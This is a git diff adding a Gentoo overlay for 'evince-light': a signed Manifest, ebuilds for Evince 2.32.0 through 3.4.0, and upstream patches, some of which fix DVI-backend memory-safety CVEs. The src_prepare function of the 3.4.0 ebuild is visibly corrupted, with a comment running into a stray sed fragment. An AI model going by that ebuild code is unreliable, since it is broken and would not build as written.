c94927998693b7b75092c0a8225079bf64617f5a194691bf4bfa64feb41a8cb8 SHA512 1ee6d20b6e85de427ec987c34e18cb1132c7d2f199e4b6d2054ee5ea53880b66778fbfadd13ce383e98e553dd18be2787be94ca53f7e7b719de0382351c473b7 WHIRLPOOL d0868464aa248d524c6b7e48391831a99794836f8e1315a3c5d819ba2f626d5fee1709342482f6eb53dad9044fdc35293e7a7db76340e8da4b65fafa31f1e2bd +AUX gconf-2.m4 1579 SHA256 2c9a981afe5bba4486c8e0ddb66433aef4af953168bd254f6a5ba1c6692f80f8 SHA512 66a341f1c96634d7fddcb26c99e3ae6d44bb3e97f8d547aa1b03b170f2dad8d19a902fe6a945544b8a5a0e26f054a9d0a3f85380efd04e5dd8262bbcb32c4063 WHIRLPOOL 3509829bdecb1eb23ac21df58769f39f3216052f8cdd3ebd67c543d03e2c2a3d57084637152203b9eb5afc9e77f20401467db3cf3b728dc2c02f87abe072032e +DIST evince-2.32.0.tar.bz2 2295272 SHA256 2a4c91ae38f8b5028cebb91b9da9ddc50ea8ae3f3d429df89ba351da2d787ff7 SHA512 b478f3199d017ba77b75e9d0ee9a82469b58087fea18eb30ff17ee8f03189e842299b8f4df412d4bb6d0ee985ed76bcbd8dfb3accc13b824232980f5a10e0a3c WHIRLPOOL de4892107c83601fb59aaf848acb0ab3d977759f0532221023ea5370706471ef8704d3f28df135d20214f7677f1d3328f9e6b0d4f49277983059626b185cf1c2 +DIST evince-3.2.1-synctex-1.17.patch.bz2 11938 SHA256 929cf0300a4c67d447eeb417f8bfbaafa9988f036c23869728cd76c529243aa5 SHA512 a4cbb555efc77cb99afd0356072157552de367d470e169288c826915b96364ae7364a1c21ae776cecc5410c11fd14810a93f368c7205c11077485335f43126b7 WHIRLPOOL 12bd2c34b898b11ac849c9c50fdbe176a2cb5cdebe9343a6f565b1d053b4270307caa31728e308b39f25dc377eaa5b02d1019368bd66c2955b3b17230b2dc22a +DIST evince-3.2.1.tar.xz 3782932 SHA256 9db61a39c977eb939deaee3ed1e66937f15532f46de988cacd5b638f3960ed35 SHA512 e205c7d83da7763836835a0926d12de45595f3e4623f4e483d318f8668f67132c5fc0c04bf914b151e74283def66f407ef6539edda4ffd8807f392ec9d5d7b2e WHIRLPOOL 4d06bd457995cd2899cce66b0ed78516b353760f6d17b2b6fe2698d8868ab30e4a6ff1a6198db0f497b1de186560b10cb6d67e43d3874147ffcbdccf942d49db +DIST evince-3.4.0.tar.xz 6162936 SHA256 02f1c74c123ea0cb4c1a98cb9ba2b67d724e9f90d7ff15acbcd6b8dbeef0a129 SHA512 638170831a57ec6f64c65baa7e5766561ba5044f6a6e2b0ef86aeee526e07e30a5eef40b655158ad483935b127e00b41d12e4b3dda06f957887953d440c0642c WHIRLPOOL 10ba3bd7d23accb68682af890d62fa8ed63e7874f2f58854e44441d3a4d800eaf3cee930fcf68b6d9bc2d9e22767a8e74308df2511aa5cd70baef47ee0dbae24 +EBUILD evince-2.32.0-r3.ebuild 4182 SHA256 9072c72f7543564350280ac52537b191f9de3d9bd8a2be1bf128669cc5ef6489 SHA512 3b5c2f1967e40819a0d3b21fdde19baf44f2ed4c73528b645351ce9f39d5a6fd1c48c753734ac4464af0923905e9478a6a470f6c9d964072d85cb08032ba37ce WHIRLPOOL 89deacc7df0ad9f77dd8b23bd304ac5b780bab9e89fc95c263f9a70674fe9021926e037214bdc3d6adaba2cdcdb3b6e4d89f42cef3bfad1db6b905e986fc1ef7 +EBUILD evince-2.32.0-r4.ebuild 4280 SHA256 e5b107b6b075963c25f9185acccbbe6a2795ae2a8e81138ca2e25f3311fdab17 SHA512 5b42512184ec021b61e4c884fc1ecd39b89aeab4b3f601b8a4554b9bf48139678e4355b460de3ee9c2870761a7d2de69803842ce5efc2ea1bed6182b287e160d WHIRLPOOL 83bcf1b2024eabde9f93a7719033e2ce6098fd1bd9e13a07ed16f9a0a876722c985888c472d1cacdc08625f5fe3ad9d6d49f5959983fadc20d474322b8279ea4 +EBUILD evince-3.2.1-r1.ebuild 3491 SHA256 42fa48eef2bb3d52841d323ae9e3da77a45e56a38510bdfb186170d86af685a9 SHA512 25848e0fc771db7e36e84b0ac6f967c5fae7d107dca7b4ed2dcd05b4d89d9d50c227f127b30025229da4a4df1d7e3bdcb7bcddaebc52c9696a3d715c33f714aa WHIRLPOOL 8823bfc3279a3934632aeb5f6d3a79f86f4617cbede535594974dfcb00ca1fa49d4937cd06ff1d94ff2db0505b96adeed012d6eb69edc1de039b78c7b4dec914 +EBUILD evince-3.4.0.ebuild 3377 SHA256 877cb8d754754d625f40e17224371d14007cc8ceb4f410dd88e472f9c74ceb6d SHA512 651310f4c2162482ab2de1d61ad5393f8138fa7cc5fba43ac436ac0a8cfe5d3feef5a55e9e36a03a1072691c10f3512dd84dbbc1272b0024bfdc9363405141d6 WHIRLPOOL adbd3864e7e4ca472e0479c84323971227945c6306647922e24a6ff538cd2ba02e7e2485932f114cd6ffdc030abad33d02419917c3be9107dc8c286fbcfc384b +MISC ChangeLog 37671 SHA256 1d187ca84c6e246e6f03b09ac0adbfc56cfb6f8e65f787fae13b745acbe69f78 SHA512 96f5d2dc5a68104ddce884e90cc19409e670b4d15e5f0834123dab467ec5fd563fe08d3c2a980972e1c474599589b21ba69da9deb59f4e75eb511b974d777db3 WHIRLPOOL bce5cabebd75647aa3e578156aa8f459c2aaf6a8e316a61a1b2476d63f98e5e3fa9f615376ef8a61029ca95f29c78d74e3274f2b00467ea9734ebd3e9815a3c5 +MISC metadata.xml 726 SHA256 b3f2b01c3eaa2f5633c1f8600921345db96d269de2e5f21752ba1a5ddcc3c890 SHA512 dcbe57df71e64d20b672583dee3dbccfb8b927335c6781e3f4cf6838ecb7f73f2f5af83d99d59d1c1fec9112618d85bbbbbdd77b4f64ab37d6a0f170e9982a97 WHIRLPOOL 9279856ee5be35f3e0e6063f48a1b7a8d8a5cc0df69c0a0fd04f561bbe716593fe196972c1b20e05cdb7ef75bfa7bb4bab75b0bc03583894cae1a119f9b8016e +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v2.0.19 (GNU/Linux) + +iQEcBAEBCAAGBQJQNlPOAAoJEJ0WA1zPCt1hzCAH/iw9VzZYwFTxpkYIjndFdXTY +iURFmYK6/CTtAR16mtNQ7f0bZ5GwupH6DRZ09Su7iQRFFd4iA4wXQpJOcRVCvZ+K +/hbAPrV08COJEabozlQGpWfQ6UOIyz9/rjdlImTPiCMAVPiIs2Rib/4DuAUWopUW +9lsDviT6EunKJe2XFk11eucGyvWZCzFmNY5YAsdk24Q2aLQXucswujjQroQvUirf +manrU1Y2xjZry7ZS5T2kUHGD00BcWqa1INxV53fL6+EniSBOUTXsbmuWR2XLS5vm +XUzkKd0vwXXjg2UnVRrvuXD1uHM2JA9E58+2l+vvYBsYm0g/9UcR4fcAwOPlYyM= +=IJS1 +-----END PGP SIGNATURE----- diff --git a/app-text/evince-light/evince-2.32.0-r3.ebuild b/app-text/evince-light/evince-2.32.0-r3.ebuild new file mode 100644 index 00000000..8e18d82b --- /dev/null +++ b/app-text/evince-light/evince-2.32.0-r3.ebuild @@ -0,0 +1,137 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-text/evince/evince-2.32.0-r3.ebuild,v 1.14 2012/08/23 16:01:12 tetromino Exp $ + +EAPI="3" +GCONF_DEBUG="yes" + +inherit eutils gnome2 autotools + +DESCRIPTION="Simple document viewer for GNOME" +HOMEPAGE="http://projects.gnome.org/evince/" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="alpha amd64 arm ia64 ppc ppc64 sparc x86 ~x86-fbsd ~x86-freebsd ~x86-interix ~amd64-linux ~x86-linux ~x64-solaris" + +IUSE="dbus debug djvu doc dvi gnome gnome-keyring +introspection nautilus +postscript t1lib tiff" + +# Since 2.26.2, can handle poppler without cairo support. Make it optional ? +# not mature enough +RDEPEND=" + >=dev-libs/glib-2.25.11:2 + >=dev-libs/libxml2-2.5:2 + >=x11-libs/gtk+-2.21.5:2[introspection?] + >=x11-libs/libSM-1 + || ( + >=x11-themes/gnome-icon-theme-2.17.1 + >=x11-themes/hicolor-icon-theme-0.10 ) + >=x11-libs/cairo-1.9.10 + >=app-text/poppler-0.14[cairo] + djvu? ( >=app-text/djvu-3.5.17 ) + dvi? ( + virtual/tex-base + t1lib? ( >=media-libs/t1lib-5.0.0 ) ) + gnome? ( >=gnome-base/gconf-2:2[introspection?] ) + gnome-keyring? ( >=gnome-base/gnome-keyring-2.22.0 ) + introspection? ( >=dev-libs/gobject-introspection-0.6 ) + nautilus? ( >=gnome-base/nautilus-2.10[introspection?] ) + postscript? ( >=app-text/libspectre-0.2.0 ) + tiff? ( >=media-libs/tiff-3.6:0 ) +" +DEPEND="${RDEPEND} + app-text/scrollkeeper + >=app-text/gnome-doc-utils-0.3.2 + ~app-text/docbook-xml-dtd-4.1.2 + virtual/pkgconfig + sys-devel/gettext + >=dev-util/intltool-0.35 + doc? ( >=dev-util/gtk-doc-1.13 )" + +ELTCONF="--portage" + +# Needs dogtail and pyspi from http://fedorahosted.org/dogtail/ +# Releases: http://people.redhat.com/zcerza/dogtail/releases/ +RESTRICT="test" + +pkg_setup() { + # Passing --disable-help would drop offline help, that would be inconsistent + # with helps of the most of Gnome apps that doesn't require network for that. + G2CONF="${G2CONF} + --disable-scrollkeeper + --disable-static + --disable-tests + --enable-pdf + --enable-comics + --enable-impress + --enable-thumbnailer + --with-smclient=xsmp + --with-platform=gnome + --with-gtk=2.0 + --enable-help + --disable-maintainer-mode + $(use_enable dbus) + $(use_enable djvu) + $(use_enable dvi) + $(use_with gnome gconf) + $(use_with gnome-keyring keyring) + $(use_enable introspection) + $(use_enable nautilus) + $(use_enable postscript ps) + $(use_enable t1lib) + $(use_enable tiff)" + DOCS="AUTHORS ChangeLog NEWS README TODO" +} + +src_prepare() { + # Check for NULL in synctex_backward_search preventing segfault, upstream bug #630845 + epatch "${FILESDIR}"/${P}-libdocument-segfault.patch + + # Fix multiple security issues with dvi backend, bug #350681 + epatch "${FILESDIR}"/${P}-dvi-CVEs.patch + + # Fix problem with some pk fonts, upstream bug #639746 + epatch "${FILESDIR}"/${P}-pk-fonts.patch + + # Fix libview crash, upstream bug #630999 + epatch "${FILESDIR}"/${P}-libview-crash.patch + + # Fix another security issue in the dvi-backend + epatch "${FILESDIR}"/${P}-dvi-security.patch + + # Update poppler api + epatch "${FILESDIR}"/${P}-update-poppler.patch + + # Stop the GtkSpinner when the loading window is hidden, upstream bug #637390 + epatch "${FILESDIR}"/${P}-stop-spinner.patch + + # Use a popup window instead of a toplevel for loading window, upstream bug #633475 + epatch "${FILESDIR}"/${P}-use-popup.patch + + # Fix intltoolize broken file, see upstream #577133 + sed "s:'\^\$\$lang\$\$':\^\$\$lang\$\$:g" -i po/Makefile.in.in \ + || die "intltoolize sed failed" + + # Do not depend on gnome-icon-theme, bug #326855 + sed 's/gnome-icon-theme//' -i configure.ac configure || die "sed failed" + + # Fix .desktop file so menu item shows up + epatch "${FILESDIR}"/${PN}-0.7.1-display-menu.patch + + # gconf-2.m4 is needed for autoconf, bug #291339 + if ! use gnome; then + cp "${FILESDIR}/gconf-2.m4" m4/ || die "Copying gconf-2.m4 failed!" + fi + + # Fix underlinking with gold + epatch "${FILESDIR}"/${P}-gold.patch + + intltoolize --force --copy --automake || die "intltoolize failed" + eautoreconf + gnome2_src_prepare +} + +src_install() { + gnome2_src_install + find "${ED}" -name "*.la" -delete || die "remove of lafiles failed" +} diff --git a/app-text/evince-light/evince-2.32.0-r4.ebuild b/app-text/evince-light/evince-2.32.0-r4.ebuild new file mode 100644 index 00000000..4b206c76 --- /dev/null +++ b/app-text/evince-light/evince-2.32.0-r4.ebuild @@ -0,0 +1,138 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-text/evince/evince-2.32.0-r4.ebuild,v 1.13 2012/08/23 16:01:12 tetromino Exp $ + +EAPI="4" +GCONF_DEBUG="yes" +GNOME2_LA_PUNT="yes" +GNOME_TARBALL_SUFFIX="bz2" + +inherit eutils gnome2 autotools + +DESCRIPTION="Simple document viewer for GNOME" +HOMEPAGE="http://projects.gnome.org/evince/" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="alpha amd64 arm ia64 ppc ppc64 sparc x86 ~x86-fbsd ~x86-freebsd ~x86-interix ~amd64-linux ~x86-linux ~x64-solaris" + +IUSE="dbus debug djvu dvi gnome gnome-keyring +introspection nautilus +postscript t1lib tiff" + +# Since 2.26.2, can handle poppler without cairo support. Make it optional ? +# not mature enough +RDEPEND=" + >=dev-libs/glib-2.25.11:2 + >=dev-libs/libxml2-2.5:2 + >=x11-libs/gtk+-2.21.5:2[introspection?] + >=x11-libs/libSM-1 + || ( + >=x11-themes/gnome-icon-theme-2.17.1 + >=x11-themes/hicolor-icon-theme-0.10 ) + >=x11-libs/cairo-1.9.10 + >=app-text/poppler-0.14[cairo] + djvu? ( >=app-text/djvu-3.5.17 ) + dvi? ( + virtual/tex-base + t1lib? ( >=media-libs/t1lib-5.0.0 ) ) + gnome? ( >=gnome-base/gconf-2:2[introspection?] ) + gnome-keyring? ( >=gnome-base/gnome-keyring-2.22.0 ) + introspection? ( >=dev-libs/gobject-introspection-0.6 ) + nautilus? ( >=gnome-base/nautilus-2.10[introspection?] ) + postscript? ( >=app-text/libspectre-0.2.0 ) + tiff? ( >=media-libs/tiff-3.6:0 ) +" +DEPEND="${RDEPEND} + app-text/scrollkeeper + >=app-text/gnome-doc-utils-0.3.2 + ~app-text/docbook-xml-dtd-4.1.2 + virtual/pkgconfig + sys-devel/gettext + >=dev-util/intltool-0.35" + +ELTCONF="--portage" + +# Needs dogtail and pyspi from http://fedorahosted.org/dogtail/ +# Releases: http://people.redhat.com/zcerza/dogtail/releases/ +RESTRICT="test" + +pkg_setup() { + # Passing --disable-help would drop offline help, that would be inconsistent + # with helps of the most of Gnome apps that doesn't require network for that. + G2CONF="${G2CONF} + --disable-scrollkeeper + --disable-static + --disable-tests + --enable-pdf + --enable-comics + --enable-impress + --enable-thumbnailer + --with-smclient=xsmp + --with-platform=gnome + --with-gtk=2.0 + --enable-help + $(use_enable dbus) + $(use_enable djvu) + $(use_enable dvi) + $(use_with gnome gconf) + $(use_with gnome-keyring keyring) + $(use_enable introspection) + $(use_enable nautilus) + $(use_enable postscript ps) + $(use_enable t1lib) + $(use_enable tiff)" + DOCS="AUTHORS ChangeLog NEWS README TODO" +} + +src_prepare() { + # Check for NULL in synctex_backward_search preventing segfault, upstream bug #630845 + epatch "${FILESDIR}"/${P}-libdocument-segfault.patch + + # Fix multiple security issues with dvi backend, bug #350681 + epatch "${FILESDIR}"/${P}-dvi-CVEs.patch + + # Fix problem with some pk fonts, upstream bug #639746 + epatch "${FILESDIR}"/${P}-pk-fonts.patch + + # Fix libview crash, upstream bug #630999 + epatch "${FILESDIR}"/${P}-libview-crash.patch + + # Fix another security issue in the dvi-backend + epatch "${FILESDIR}"/${P}-dvi-security.patch + + # Update poppler api + epatch "${FILESDIR}"/${P}-update-poppler.patch + + # Stop the GtkSpinner when the loading window is hidden, upstream bug #637390 + epatch "${FILESDIR}"/${P}-stop-spinner.patch + + # Use a popup window instead of a toplevel for loading window, upstream bug #633475 + epatch "${FILESDIR}"/${P}-use-popup.patch + + # document: create_thumbnail_frame should return NULL when + epatch "${FILESDIR}"/${P}-create_thumbnail_frame-null.patch + + # Fix .desktop categories, upstream bug #666346 + epatch "${FILESDIR}"/${P}-desktop-categories.patch + + # Fix intltoolize broken file, see upstream #577133 + sed "s:'\^\$\$lang\$\$':\^\$\$lang\$\$:g" -i po/Makefile.in.in \ + || die "intltoolize sed failed" + + # Do not depend on gnome-icon-theme, bug #326855 + sed 's/gnome-icon-theme//' -i configure.ac configure || die "sed failed" + + # Fix .desktop file so menu item shows up + epatch "${FILESDIR}"/${PN}-0.7.1-display-menu.patch + + # gconf-2.m4 is needed for autoconf, bug #291339 + if ! use gnome; then + cp "${FILESDIR}/gconf-2.m4" m4/ || die "Copying gconf-2.m4 failed!" + fi + + # Fix underlinking with gold + epatch "${FILESDIR}"/${P}-gold.patch + + intltoolize --force --copy --automake || die "intltoolize failed" + eautoreconf + gnome2_src_prepare +} diff --git a/app-text/evince-light/evince-3.2.1-r1.ebuild b/app-text/evince-light/evince-3.2.1-r1.ebuild new file mode 100644 index 00000000..272ca61f --- /dev/null +++ b/app-text/evince-light/evince-3.2.1-r1.ebuild @@ -0,0 +1,117 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-text/evince/evince-3.2.1-r1.ebuild,v 1.8 2012/08/23 16:01:12 tetromino Exp $ + +EAPI="4" +GCONF_DEBUG="yes" +GNOME2_LA_PUNT="yes" + +inherit autotools eutils gnome2 + +DESCRIPTION="Simple document viewer for GNOME" +HOMEPAGE="http://www.gnome.org/projects/evince/" + +SRC_URI="${SRC_URI} + http://dev.gentoo.org/~tetromino/distfiles/${PN}/${P}-synctex-1.17.patch.bz2" + +LICENSE="GPL-2" +SLOT="0" +IUSE="dbus debug djvu doc dvi gnome-keyring +introspection nautilus +postscript t1lib tiff xps" +KEYWORDS="~alpha ~amd64 ~arm ~ia64 ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd ~x86-freebsd ~x86-interix ~amd64-linux ~x86-linux ~x64-solaris" + +# Since 2.26.2, can handle poppler without cairo support. Make it optional ? +# not mature enough +# atk used in libview +# gdk-pixbuf used all over the place +# libX11 used for totem-screensaver +RDEPEND=" + dev-libs/atk + >=dev-libs/glib-2.25.11:2 + >=dev-libs/libxml2-2.5:2 + sys-libs/zlib + x11-libs/gdk-pixbuf:2 + >=x11-libs/gtk+-3.0.2:3[introspection?] + x11-libs/libX11 + >=x11-libs/libSM-1 + x11-libs/libICE + gnome-base/gsettings-desktop-schemas + || ( + >=x11-themes/gnome-icon-theme-2.17.1 + >=x11-themes/hicolor-icon-theme-0.10 ) + >=x11-libs/cairo-1.10.0 + >=app-text/poppler-0.16[cairo] + djvu? ( >=app-text/djvu-3.5.17 ) + dvi? ( + virtual/tex-base + dev-libs/kpathsea + t1lib? ( >=media-libs/t1lib-5.0.0 ) ) + gnome-keyring? ( >=gnome-base/gnome-keyring-2.22.0 ) + introspection? ( >=dev-libs/gobject-introspection-0.6 ) + nautilus? ( >=gnome-base/nautilus-2.91.4[introspection?] ) + postscript? ( >=app-text/libspectre-0.2.0 ) + tiff? ( >=media-libs/tiff-3.6:0 ) + xps? ( >=app-text/libgxps-0.2.0 ) +" +DEPEND="${RDEPEND} + app-text/scrollkeeper + >=app-text/gnome-doc-utils-0.3.2 + app-text/docbook-xml-dtd:4.3 + virtual/pkgconfig + sys-devel/gettext + >=dev-util/intltool-0.35 + doc? ( >=dev-util/gtk-doc-1.13 )" + +ELTCONF="--portage" + +# Needs dogtail and pyspi from http://fedorahosted.org/dogtail/ +# Releases: http://people.redhat.com/zcerza/dogtail/releases/ +RESTRICT="test" + +pkg_setup() { + # Passing --disable-help would drop offline help, that would be inconsistent + # with helps of the most of Gnome apps that doesn't require network for that. + G2CONF="${G2CONF} + --disable-schemas-compile + --disable-scrollkeeper + --disable-static + --disable-tests + --enable-pdf + --enable-comics + --enable-thumbnailer + --with-smclient=xsmp + --with-platform=gnome + --enable-help + $(use_enable dbus) + $(use_enable djvu) + $(use_enable dvi) + $(use_with gnome-keyring keyring) + $(use_enable introspection) + $(use_enable nautilus) + $(use_enable postscript ps) + $(use_enable t1lib) + $(use_enable tiff) + $(use_enable xps)" + DOCS="AUTHORS ChangeLog NEWS README TODO" +} + +src_prepare() { + # Fix .desktop file so menu item shows up + epatch "${FILESDIR}"/${PN}-0.7.1-display-menu.patch + + # Upstream patch to fix texlive-2011 compatibility, will be in next release + epatch "../${P}-synctex-1.17.patch" + + # Patch from upstream git master branch to fix libgxps-0.2 compatibility + epatch "${FILESDIR}/${PN}-3.2.1-libgxps-0.2.patch" + + # glib-2.32 restructured dep libs in pkg-config files, #414065 + epatch "${FILESDIR}/${P}-glib-gold.patch" + + gnome2_src_prepare + + AT_NOELIBTOOLIZE=yes eautoreconf + + # Do not depend on gnome-icon-theme, bug #326855, #391859 + sed -e 's/gnome-icon-theme >= $GNOME_ICON_THEME_REQUIRED//g' \ + -i configure || die "sed failed" +} diff --git a/app-text/evince-light/evince-light-3.4.0.ebuild b/app-text/evince-light/evince-light-3.4.0.ebuild new file mode 100644 index 00000000..17635a1a --- /dev/null +++ b/app-text/evince-light/evince-light-3.4.0.ebuild @@ -0,0 +1,113 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-text/evince/evince-3.4.0.ebuild,v 1.4 2012/08/23 16:01:12 tetromino Exp $ + +EAPI="4" +GCONF_DEBUG="yes" +GNOME2_LA_PUNT="yes" + +inherit autotools eutils gnome2 + +DESCRIPTION="Simple document viewer for GNOME" +HOMEPAGE="http://www.gnome.org/projects/evince/" + +LICENSE="GPL-2" +SLOT="0" +IUSE="dbus debug djvu doc dvi gnome-keyring +introspection nautilus +postscript t1lib tiff xps" +KEYWORDS="~alpha ~amd64 ~arm ~ia64 ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd ~x86-freebsd ~x86-interix ~amd64-linux ~x86-linux ~x64-solaris" + +# Since 2.26.2, can handle poppler without cairo support. Make it optional ? +# not mature enough +# atk used in libview +# gdk-pixbuf used all over the place +# libX11 used for totem-screensaver +RDEPEND=" + dev-libs/atk + >=dev-libs/glib-2.25.11:2 + >=dev-libs/libxml2-2.5:2 + sys-libs/zlib + x11-libs/gdk-pixbuf:2 + >=x11-libs/gtk+-3.0.2:3[introspection?] + x11-libs/libX11 + >=x11-libs/libSM-1 + x11-libs/libICE + gnome-base/gsettings-desktop-schemas + || ( + >=x11-themes/gnome-icon-theme-2.17.1 + >=x11-themes/hicolor-icon-theme-0.10 ) + >=x11-libs/cairo-1.10.0 + >=app-text/poppler-0.18[cairo] + djvu? ( >=app-text/djvu-3.5.17 ) + dvi? ( + virtual/tex-base + dev-libs/kpathsea + t1lib? ( >=media-libs/t1lib-5.0.0 ) ) + gnome-keyring? ( >=gnome-base/gnome-keyring-2.22.0 ) + introspection? ( >=dev-libs/gobject-introspection-0.6 ) + nautilus? ( >=gnome-base/nautilus-2.91.4[introspection?] ) + postscript? ( >=app-text/libspectre-0.2.0 ) + tiff? ( >=media-libs/tiff-3.6:0 ) + xps? ( >=app-text/libgxps-0.2.1 ) +" +DEPEND="${RDEPEND} + app-text/scrollkeeper + >=app-text/gnome-doc-utils-0.3.2 + app-text/docbook-xml-dtd:4.3 + sys-devel/gettext + >=dev-util/intltool-0.35 + virtual/pkgconfig + doc? ( >=dev-util/gtk-doc-1.13 )" + +ELTCONF="--portage" + +# Needs dogtail and pyspi from http://fedorahosted.org/dogtail/ +# Releases: http://people.redhat.com/zcerza/dogtail/releases/ +RESTRICT="test" + +pkg_setup() { + # Passing --disable-help would drop offline help, that would be inconsistent + # with helps of the most of Gnome apps that doesn't require network for that. + G2CONF="${G2CONF} + --disable-schemas-compile + --disable-scrollkeeper + --disable-static + --disable-tests + --enable-pdf + --enable-comics + --enable-thumbnailer + --with-smclient=xsmp + --with-platform=gnome + --enable-help + $(use_enable dbus) + $(use_enable djvu) + $(use_enable dvi) + $(use_with gnome-keyring keyring) + $(use_enable introspection) + $(use_enable nautilus) + $(use_enable postscript ps) + $(use_enable t1lib) + $(use_enable tiff) + $(use_enable xps)" + DOCS="AUTHORS ChangeLog NEWS README TODO" +} + +src_prepare() { + # Regenerate marshalers to allow building with = $GNOME_ICON_THEME_REQUIRED//g' \ + -i configure || die "sed failed" +} diff --git a/app-text/evince-light/files/evince-0.7.1-display-menu.patch b/app-text/evince-light/files/evince-0.7.1-display-menu.patch new file mode 100644 index 00000000..9edc43ea --- /dev/null +++ b/app-text/evince-light/files/evince-0.7.1-display-menu.patch @@ -0,0 +1,11 @@ +diff --exclude-from=/home/dang/.diffrc -up -ruN evince-0.7.1.orig/data/evince.desktop.in.in evince-0.7.1/data/evince.desktop.in.in +--- evince-0.7.1.orig/data/evince.desktop.in.in 2007-01-10 11:04:20.000000000 -0500 ++++ evince-0.7.1/data/evince.desktop.in.in 2007-01-18 17:30:52.000000000 -0500 +@@ -9,7 +9,6 @@ StartupNotify=true + Terminal=false + Type=Application + Icon=evince +-NoDisplay=true + X-GNOME-DocPath= + X-GNOME-Bugzilla-Bugzilla=GNOME + X-GNOME-Bugzilla-Product=evince diff --git a/app-text/evince-light/files/evince-2.32.0-create_thumbnail_frame-null.patch b/app-text/evince-light/files/evince-2.32.0-create_thumbnail_frame-null.patch new file mode 100644 index 00000000..19eaf1c9 --- /dev/null +++ b/app-text/evince-light/files/evince-2.32.0-create_thumbnail_frame-null.patch @@ -0,0 +1,25 @@ +From 0fd1f66767ab3b71bef571bf734ce0038d696f4f Mon Sep 17 00:00:00 2001 +From: José Aliste +Date: Fri, 26 Nov 2010 14:56:45 +0000 +Subject: document: create_thumbnail_frame should return NULL when + +source_pixbuf is NULL and width and height are not positive. + +Fixes bug #594408 +(cherry picked from commit 3d8180a605e8c98172e9e0e739e22b7f50ed7bad) +--- +diff --git a/libdocument/ev-document-misc.c b/libdocument/ev-document-misc.c +index d597127..6099b7f 100644 +--- a/libdocument/ev-document-misc.c ++++ b/libdocument/ev-document-misc.c +@@ -56,7 +56,7 @@ create_thumbnail_frame (int width, + } + + /* make sure no one is passing us garbage */ +- g_assert (width_r >= 0 && height_r >= 0); ++ g_return_val_if_fail (width_r >= 0 && height_r >= 0, NULL); + + retval = gdk_pixbuf_new (GDK_COLORSPACE_RGB, + TRUE, 8, +-- +cgit v0.9.0.2 diff --git a/app-text/evince-light/files/evince-2.32.0-desktop-categories.patch b/app-text/evince-light/files/evince-2.32.0-desktop-categories.patch new file mode 100644 index 00000000..eaceaed3 --- /dev/null +++ b/app-text/evince-light/files/evince-2.32.0-desktop-categories.patch @@ -0,0 +1,20 @@ +From ed7cda334dddc08b4b10a4c1c49df3f6c0a1bc41 Mon Sep 17 00:00:00 2001 +From: Carlos Garcia Campos +Date: Sat, 17 Dec 2011 10:28:19 +0000 +Subject: evince.desktop: Add Office category + +Fixes bug #666346. +--- +diff --git a/data/evince.desktop.in.in b/data/evince.desktop.in.in +index e3b0160..7106d97 100644 +--- a/data/evince.desktop.in.in ++++ b/data/evince.desktop.in.in +@@ -13,5 +13,5 @@ X-GNOME-Bugzilla-Bugzilla=GNOME + X-GNOME-Bugzilla-Product=evince + X-GNOME-Bugzilla-Component=BugBuddyBugs + X-GNOME-Bugzilla-Version=@VERSION@ +-Categories=GNOME;GTK;Graphics;VectorGraphics;Viewer; ++Categories=GNOME;GTK;Office;Viewer;Graphics;VectorGraphics; + MimeType=@EVINCE_MIME_TYPES@ +-- +cgit v0.9.0.2 diff --git a/app-text/evince-light/files/evince-2.32.0-dvi-CVEs.patch b/app-text/evince-light/files/evince-2.32.0-dvi-CVEs.patch new file mode 100644 index 00000000..691ee419 --- /dev/null +++ b/app-text/evince-light/files/evince-2.32.0-dvi-CVEs.patch @@ -0,0 +1,97 @@ +From 8e473c9796b9a61b811213e7892fd36fd570303a Mon Sep 17 00:00:00 2001 +From: José Aliste +Date: Tue, 07 Dec 2010 18:56:47 +0000 +Subject: backends: Fix several security issues in the dvi-backend. + +See CVE-2010-2640, CVE-2010-2641, CVE-2010-2642 and CVE-2010-2643. +--- +diff --git a/backend/dvi/mdvi-lib/afmparse.c b/backend/dvi/mdvi-lib/afmparse.c +index 164366b..361e23d 100644 +--- a/backend/dvi/mdvi-lib/afmparse.c ++++ b/backend/dvi/mdvi-lib/afmparse.c +@@ -160,7 +160,7 @@ static char *token(FILE *stream) + + idx = 0; + while (ch != EOF && ch != ' ' && ch != lineterm +- && ch != '\t' && ch != ':' && ch != ';') ++ && ch != '\t' && ch != ':' && ch != ';' && idx < MAX_NAME) + { + ident[idx++] = ch; + ch = fgetc(stream); +diff --git a/backend/dvi/mdvi-lib/dviread.c b/backend/dvi/mdvi-lib/dviread.c +index 97b7b84..ac98068 100644 +--- a/backend/dvi/mdvi-lib/dviread.c ++++ b/backend/dvi/mdvi-lib/dviread.c +@@ -1537,6 +1537,10 @@ int special(DviContext *dvi, int opcode) + Int32 arg; + + arg = dugetn(dvi, opcode - DVI_XXX1 + 1); ++ if (arg <= 0) { ++ dvierr(dvi, _("malformed special length\n")); ++ return -1; ++ } + s = mdvi_malloc(arg + 1); + dread(dvi, s, arg); + s[arg] = 0; +diff --git a/backend/dvi/mdvi-lib/pk.c b/backend/dvi/mdvi-lib/pk.c +index a579186..08377e6 100644 +--- a/backend/dvi/mdvi-lib/pk.c ++++ b/backend/dvi/mdvi-lib/pk.c +@@ -469,6 +469,15 @@ static int pk_load_font(DviParams *unused, DviFont *font) + } + if(feof(p)) + break; ++ ++ /* Although the PK format support bigger char codes, ++ * XeTeX and other extended TeX engines support charcodes up to ++ * 65536, while normal TeX engine supports only charcode up to 255.*/ ++ if (cc < 0 || cc > 65536) { ++ mdvi_error (_("%s: unexpected charcode (%d)\n"), ++ font->fontname,cc); ++ goto error; ++ } + if(cc < loc) + loc = cc; + if(cc > hic) +@@ -512,7 +521,7 @@ static int pk_load_font(DviParams *unused, DviFont *font) + } + + /* resize font char data */ +- if(loc > 0 || hic < maxch-1) { ++ if(loc > 0 && hic < maxch-1) { + memmove(font->chars, font->chars + loc, + (hic - loc + 1) * sizeof(DviFontChar)); + 